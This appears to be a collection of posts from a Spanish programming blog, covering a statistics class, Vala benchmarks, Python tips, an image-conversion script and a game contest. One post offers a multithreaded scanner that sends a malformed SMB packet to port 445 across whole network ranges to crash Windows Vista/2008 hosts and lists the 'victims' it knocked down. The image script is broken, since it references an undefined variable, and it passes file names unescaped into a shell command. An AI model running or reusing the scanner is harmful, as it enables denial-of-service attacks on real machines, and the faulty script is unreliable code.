        return factorial(n) / (factorial(m) * factorial(n-m))

##################### ESTADISTICA #############################

class MuestraEstadistica:
    
    def __init__(self, xi, fa):
        self.xi = xi
        self.fa = fa

    def total_muestras(self):
        return sumatorio(self.fa)

    def frec_rel(self):
        fi = []
        muestras = self.total_muestras()
        for i in range(len(self.fa)):
            fi.append(self.fa[i] / muestras)
        return fi
    
    def frec_acu(self):
        Fa = []
        acumulado = 0.0
        for i in range(len(self.fa)):
            acumulado += self.fa[i]
            Fa.append(acumulado)
        return Fa
    
    def frec_acu_rel(self):
        fi = self.frec_rel()
        Fi = []
        acumulado = 0.0
        for i in range(len(fi)):
            acumulado += fi[i]
            Fi.append(acumulado)
        return Fi

    def frec_rel_porc(self):
        fi = []
        muestras = self.total_muestras()
        for i in range(len(self.fa)):
            fi.append((self.fa[i] / muestras) * 100)
        return fi

    def moda(self):
        i_max = 0
        for i in range(len(self.fa)):
            if self.fa[i] > self.fa[i_max]:
                i_max = i
        return self.xi[i_max]

    def mediana(self):
        muestras = self.total_muestras()
        valor_mediana = muestras / 2.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1

    def cuartiles(self, k):
        muestras = self.total_muestras()
        valor_mediana = (k * muestras) / 4.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1
    
    def percentiles(self, k):
        muestras = self.total_muestras()
        valor_mediana = (k * muestras) / 100.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1
    
    # momento k respecto a ref
    def momento(self, k, ref = 0):
        suma = 0.0
        muestras = self.total_muestras()
        for i in range(len(self.xi)):
             suma += (((self.xi[i]-ref)**k) * self.fa[i])
        return suma / muestras

    def media(self):
        return self.momento(1, 0)

    def varianza(self):
        return self.momento(2, self.media())
    
    # Coeficiente de asimetría de Fisher
    def asimetria_fisher(self):
        return self.momento(3, self.media()) / self.desviacion_tipica()**3
        
    def asimetria_pearson(self):
        return (self.media() - self.moda()) / self.desviacion_tipica()
        
    def asimetria_bowley(self):
        return (self.cuartiles(3) + self.cuartiles(1) - (2*self.mediana())) / (self.cuartiles(3) - self.cuartiles(1))
        
    def curtosis(self):
        return self.momento(4, self.media()) / self.desviacion_tipica()**4
    
    def desviacion_tipica(self):
        return sqrt(self.varianza())

    def mostrarInfo(self, titulo, lista):
        print "----- %s --------" % titulo
        t = 0.0
        for d in lista:
            print "%.2f, " % d,
            t += d
        print "Total: %.2f" % t
        
    def analisis(self):

        Fa = self.frec_acu()
        fi = self.frec_rel()
        Fi = self.frec_acu_rel()
        fi_porc = self.frec_rel_porc()

        self.mostrarInfo('Muestra', self.xi)
        self.mostrarInfo('Frecuencia absoluta', self.fa)
        self.mostrarInfo('Frecuencia absoluta acumulada', Fa)
        self.mostrarInfo('Frecuencia relativa', fi)
        self.mostrarInfo('Frecuencia relativa acumulada', Fi)
        self.mostrarInfo('Frecuencia en porcentaje', fi_porc)

        # valores unicos
        print "-----------------"
        print "Media = %.2f" % self.media()
        print "Moda = %.2f" % self.moda()
        print "Mediana = %.2f" % self.mediana()
        print "Cuartil 1 = %.2f" % self.cuartiles(1)
        print "Cuartil 2 = %.2f" % self.cuartiles(2)
        print "Cuartil 3 = %.2f" % self.cuartiles(3)
        print "Percentil 30 = %.2f" % self.percentiles(30)
        print "Percentil 60 = %.2f" % self.percentiles(60)
        print "Percentil 78 = %.2f" % self.percentiles(78)
        print "Momento 8 respecto la media = %.2f" % self.momento(8, self.media())
        print "Varianza = %.2f" % self.varianza()
        print "Desviacion tipica = %.2f" % self.desviacion_tipica()
        print "asimetria Fisher = %.2f" % self.asimetria_fisher()
        print "asimetria Pearson = %.2f" % self.asimetria_pearson()
        print "asimetria Bowley = %.2f" % self.asimetria_bowley()
        print "Curtosis = %.2f" % self.curtosis()

##################### MAIN #############################

def main():
    xi = [1,2,3,4,5,6]
    fa = [20,40,60,80,100,120]
    s = MuestraEstadistica(xi, fa)
    s.analisis()

if __name__ == '__main__':
    main()

Escaner exploit para Windows Vista / 2008

Basandome en un sencillo exploit realizado por Laurent Gaffié, lo he complicado un poco, con el fin de facilitar un poco el testeo de este exploit.
Puede hacer un escaner en redes de tipo B, C o ip única. Realmente NO lo he probado, pero debería funcionar, no obstante irlo probando y lo ire modificando, también lo publicaré en Media-Vida.
Tambien le he metido remesa(pool) de hilos, para evitar tanta espera inútil de I/O.

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog:  https://blogricardo.wordpress.com/
# Hecho Ricardo Marmolejo García 
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 10 de septiembre de 2009 12:30
# Licencia: Creative Commons License Deed: Reconocimiento-No comercial-Compartir bajo la misma licencia 3.0 (  https://blogricardo.wordpress.com/licencia/ )

import time
import sys
import threading
from threading import Thread
from Queue import Queue
from socket import socket
from time import sleep

# configuracion
NUM_THREADS = 50
DEBUG = True
TIPO_RED = 'C'                                           # Tipo: 'B', 'C' o '1'

RED_UNICO = '192.168.1.4'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"

class Pool:
    def __init__(self , numHilos):
        self.cola = Queue()
        self.numHilos = numHilos
        self.lock = False
        self.interrumpido = False
        self.numTrabajos = 0

    def intentarEmpezarTrabajo(self , cola , idWorker , *args):
        while not self.interrumpido:
            if (self.numTrabajos > 0):
                elemento = cola.get()
                self.ejecutar(idWorker , elemento , *args)
                cola.task_done()
                self.numTrabajos -= 1
            else:
                # comprueba si hay tareas cada cierto tiempo
                time.sleep(0.5)
                
    def estaOcupado(self):
        return self.numTrabajos > 0

    def nuevoElemento(self, elemento):
        self.numTrabajos += 1
        self.cola.put(elemento)

    def empezar(self , args=None):
        if not self.lock:
            self.lock = True

            for idWorker in range(self.numHilos):

                lista_args = []
                lista_args.append( self.cola )
                lista_args.append( idWorker )
                if args != None:
                    for arg in args:
                        lista_args.append( arg )

                worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
                worker.setDaemon(True)
                worker.start()

            # aqui se bloquea hasta que termine
            self.cola.join()

            self.lock = False

    def esLock(self):
        return self.lock

    # metodo para sobreescribir
    def ejecutar(self , idWorker , elemento , *arg):
        print "Debes sobreescribir el método"
        raise NotImplementedError

    def interrumpir(self):
        self.interrumpido = True

# herencia multiple
class PoolNukers(Pool , Thread):
    
    def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
        Pool.__init__(self , numHilos)
        Thread.__init__(self)        
        self.numHilos = numHilos
        self.listaVictimasExito = listaVictimasExito
        self.listaVictimasFracaso = listaVictimasFracaso
        self.TIMEOUT = 10
        self.puerto = 445
        self.buff = (
            "\x00\x00\x00\x90" # Begin SMB header: Session message
            "\xff\x53\x4d\x42" # Server Component: SMB
            "\x72\x00\x00\x00" # Negociate Protocol
            "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
            "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
            "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
            "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
            "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
            "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
            "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
            "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
            "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
            "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
            "\x30\x30\x32\x00"
        )
    
    # cuando el hilo empieza -> empieza la pool de 200 cuervos
    def run(self):
        self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )

    def nuevaVictima(self, victima):
        self.nuevoElemento(victima)
        
    def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):
        
        def estaVivo(victima, puerto):
            try:
                s = socket()
                s.settimeout(3*self.TIMEOUT)
                s.connect((victima,puerto))
                s.send(self.buff)
                s.close()
                return True
            except:
                return False

        try:
            if DEBUG:
                print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
            s = socket()
            s.settimeout(self.TIMEOUT)
            s.connect((victima,self.puerto))
            if DEBUG:
                print "Enviando cadena a %s" % victima
            s.send(self.buff)
            s.close()
            
            # Comprobar si sigue vivo
            if DEBUG:
                print "%s ha sido atacado, comrpobando si sigue vivo" % victima

            # le dejamos tiempo para morir
            sleep(10)

            if not estaVivo(victima, self.puerto):
                listaVictimasExito.append(victima)
                if DEBUG:
                    print "Posible exito con %s !!!" % victima
            else:
                listaVictimasFracaso.append(victima)
        except:
            if DEBUG:
                print "Error enviando la cadena a %s" % victima

listaVictimasExito = []
listaVictimasFracaso = []

poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':

    # RED TIPO B
    cont = 0
    for i in range(254):
        for j in range(254):
            host = RED_B % (i+1, j+1)
            poolNukers.nuevaVictima(host)
            cont += 1
elif TIPO_RED == 'C':

    # RED TIPO C
    cont = 0
    for i in range(254):
        host = RED_C % (i+1)
        poolNukers.nuevaVictima(host)
        cont += 1
else:

    # 1 única victima
    cont = 1
    poolNukers.nuevaVictima(RED_UNICO)

print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()

if len(listaVictimasExito) > 0:
    print "\n\nHost atacados y PETADOS"
    print "---------------------------------------------"
    for victima in listaVictimasExito:
         print "%s ha petado ;D" % victima
else:
    print "No se ha petado ninguna victima ;("

if len(listaVictimasFracaso) > 0:
    print "\n\nHost atacados pero continuan en pie"
    print "---------------------------------------------"
    for victima in listaVictimasFracaso:
         print "%s sigue en pie ;(" % victima

Foro: Media-Vida

Vala: Eficiencia de C++ y Estilo de C#

Hace tiempo hice mis primeros pinitos en mono, mediante ASP.NET pero como ya puse en ese post, no me terminaba de convencer que las decisiones de la comunidad libre sean inexistentes y quedemos vendidos a mono frente a una política comun en Microsoft: Adoptar, Extender y Extinguir.

Vala es una alternativa a mono iniciada por los desarrolladores de GNOME:
http://live.gnome.org/Vala

Aqui unos benchmarkings, como podeis observar,  su rendimiento comparado con mono es aplastante, y juega en la misma liga que los mismisimos C/C++.

Nombre del benchmarking C++ Mono plain-C Vala
mandelbrot 14.50 54.61 12.39 13.13
partialSums 33.04 56.13 35.00 34.95
recursive 12.94 30.14 8.44 8.72
binaryTrees 27.87 43.87 21.56 30.84
sumFile 17.11 22.89 13.99 15.06
fannkuch 11.46 27.05 11.26 12.44
spectralNorm 32.82 49.82 33.25 33.36
nsieve 25.32 28.03 25.31 25.09

De hecho lo estoy considerando para programar videojuegos, ya que es lo que siempre he deseado, un alto nivel que te ahorra tiempo con eficiencia de código nativo, sin maquinas virtuales. Lo digo por este ejemplo de Vala en OpenGL: http://live.gnome.org/Vala/OpenGLSamples

Como inconveniente, habría que analizar su capacidad de multiplataforma (incluso con KDE).

Por último os pasteo un poco de código de Vala para que veais que se aprende en 2 tardes sabiendo algo de C/C++/C#.

public class NumberGuessing {

    private int min;
    private int max;

    public NumberGuessing (int min, int max) {
        this.min = min;
        this.max = max;
    }

    public void start () {
        int try_count = 0;
        int number = Random.int_range (min, max);

        stdout.printf ("Welcome to Number Guessing!\n\n");
        stdout.printf ("I have thought up a number between %d and %d\n", min, max);
        stdout.printf ("which you have to guess now. Don't worry, I will\n");
        stdout.printf ("give you some hints.\n\n");

        while (true) {
            try_count++;

            stdout.printf ("Try #%d\n", try_count);
            stdout.printf ("Please enter a number between %d and %d: ", min, max);
            int input = stdin.read_line ().to_int ();

            if (number == input) {
                stdout.printf ("Congratulations! You win.\n");
                break;
            } else {
                stdout.printf ("Wrong. The wanted number is %s than %d.\n",
                               number > input ? "greater" : "less", input);
            }
        }
    }

    public static int main (string[] args) {
        var game = new NumberGuessing (1, 100);
        game.start ();
        return 0;
    }
}

Fuente:
http://live.gnome.org/Vala
http://code.google.com/p/vala-benchmarks/wiki/BenchResults

Ignorar mensajes Deprecated/Warnings en Python

Buscando en google una forma de ocultar unos warnings que no hay forma elegante de ocultarlos. Muy típico cuando utilizamos librerías de python que en su día fueron realizadas en python 2.5, y ahora python 2.6 ensucia un poco la salida. Para evitarlo:

#!/usr/bin/python -W ignore::DeprecationWarning

Tambien ayudará esto:

import warnings
warnings.filterwarnings('ignore')

Screenshot wiithon

Cada vez estamos más cerca de una versión estable, hoy llevo toda la tarde probando el buscador y va muy muy fino. (Utilizo un ORM llamado SQlAlchemy que a su vez esta basado el SQLLite).
Sigue leyendo

Script para ripear imagenes masivamente* (Actualizado)

Ultima modificación: jueves, 28 de mayo de 2009

Necesitaba ripear unas 5000 imagenes en el curro, en cada una de ellos necesitaba pasarlo de TIFF a JPG y fijar el ancho a 800 y alto libre manteniendo aspect ratio.

Me he hecho este script cuyo uso simplemente es pasar todos las carpetas que vamos a trabajar como parametros. Por ejemplo:

Uso: ripearImagenes CARPETA1 CARPETA2 CARPETA3 … CARPETAN

Escribiendo ripearImagenes sin parametros es equivalente a pasar el directorio actual como primer parametro.

Simplemente gedit ripearImagenes y pasteamos, además podeis poneros el script en algún directorio “PATHeado” (evidentemente, esto ultimo es opcional xD):

#!/usr/bin/python

#
# :: Invasion Tux
# :: Ultima modificacion : jueves, 28 de mayo de 2009
# :: Script realizado por makiolo (makiolo@gmail.com) (Licencia Creative Commons con reconocimiento)
# :: Ultima version : https://blogricardo.wordpress.com/2009/05/15/script-para-ripear-imagenes-masivamente/
# :: Dependencias : python , convert
#

import os,sys,glob,subprocess,shutil

######### CONFIGURACION ##############

SUFIJO = "_RIPEADO"
DESTINO = ".png"
ANCHO = 2000
FORMATOS_VALIDOS = ["jpg","gif","png","tif"]

######################################

def getExtension(fichero):
	posPunto = video.rfind(".")
	return fichero[posPunto+1:len(fichero)]

def extensionEsValida(fichero):
	posPunto = video.rfind(".")
	if posPunto != -1:
		extension = getExtension(fichero)
		try:
			FORMATOS_VALIDOS.index(extension)
			return True
		except ValueError:
			return False
	else:
		return False

def getNombreRipeado(fichero):
	return fichero+SUFIJO+DESTINO

def getCarpetaRipeados( dir_inicial ):
	return "%s_RIPEADOS" % ( os.path.basename(dir_inicial) )

def existeRipeado(fichero):
	return os.path.exists(getNombreRipeado(fichero))

def ripear(fichero):
	ret = subprocess.call('convert "%s" -quiet -resize %d "%s"' % ( fichero , ANCHO , getNombreRipeado(fichero) ) , shell=True)
	return ret == 0

def ripearTodo( carpeta ):
	imagenes = []
	for extension in FORMATOS_VALIDOS:
		imagenes += glob.glob("*."+extension)
	borradas = 0
	copia = []
	lenFinal = len(SUFIJO+DESTINO)
	for imagen in imagenes:
		if(imagen[-lenFinal:] != SUFIJO+DESTINO):
			if os.path.isfile(imagen):
				copia.append(imagen)
		else:
			os.remove( imagen )
			borradas = borradas + 1
	print "+ Borradas %d imagenes ripeadas" % (borradas)

	total = len(copia)
	print "+ Ripeando %d imagenes: " % total
	i = 1
	for imagen in copia:
		print "  - Ripeando %d de %d\r" % (i , total),
		sys.stdout.flush()
		if ripear(imagen):
			shutil.move( getNombreRipeado(imagen) , carpeta)
		else:
			print "Error ripeando %s. Posiblemente no sea una imagen." % (imagen)
		i+=1

def App():
	try:
		if len(sys.argv) == 1:
			sys.argv.append(".")
		dir_inicial = os.getcwd()
		for parm in sys.argv:
			if parm != sys.argv[0]:
				if (os.path.isdir(parm)):
					carpeta = getCarpetaRipeados( dir_inicial )
					if not os.path.exists(carpeta):
						os.mkdir(carpeta)

					parm = os.path.abspath( parm )
					carpeta = os.path.abspath( carpeta )
					os.chdir(parm)
					print "Trabajando %s" % parm
					ripearTodo( carpeta )
					os.chdir( dir_inicial )
				else:
					print '"%s" no es un directorio' % parm
	except KeyboardInterrupt:
		print "ancelado por el usuario"

if __name__ == '__main__':
	App()

Laberinto TD, ganador del MobiGame 2009 !!!

Este es el primer año que me presento al MobiGame e incluso que aprendo J2ME como ya dije en “Aprendiendo J2ME para el MobiGame“, aunque si que he trasteado mucho con J2SE (tengo un juego Java tipo Worms por hay subido que  hice con 14 tacos y ahora tengo 23).

Gracias al ejemplo de GameCanvas que viene con NetBeans no tardé ni un rato en tener una primera versión de un muñeco moviéndose por el escenario. Un mes después presente todo el análisis y diseño y alguna screen (solo había 1 tipo de torre y 1 tipo de enemigo en ese momento.)

Ha sido mi primer año y realmente me ha gustado mucho, ha habido muy buenos juegos y cualquiera podría haber ganado, estaba muy igualado. Os doy las gracias a todos los participantes por haber hecho que realmente haya competición. También gracias a la organización y todo el ambiente que han creado.

Sigue leyendo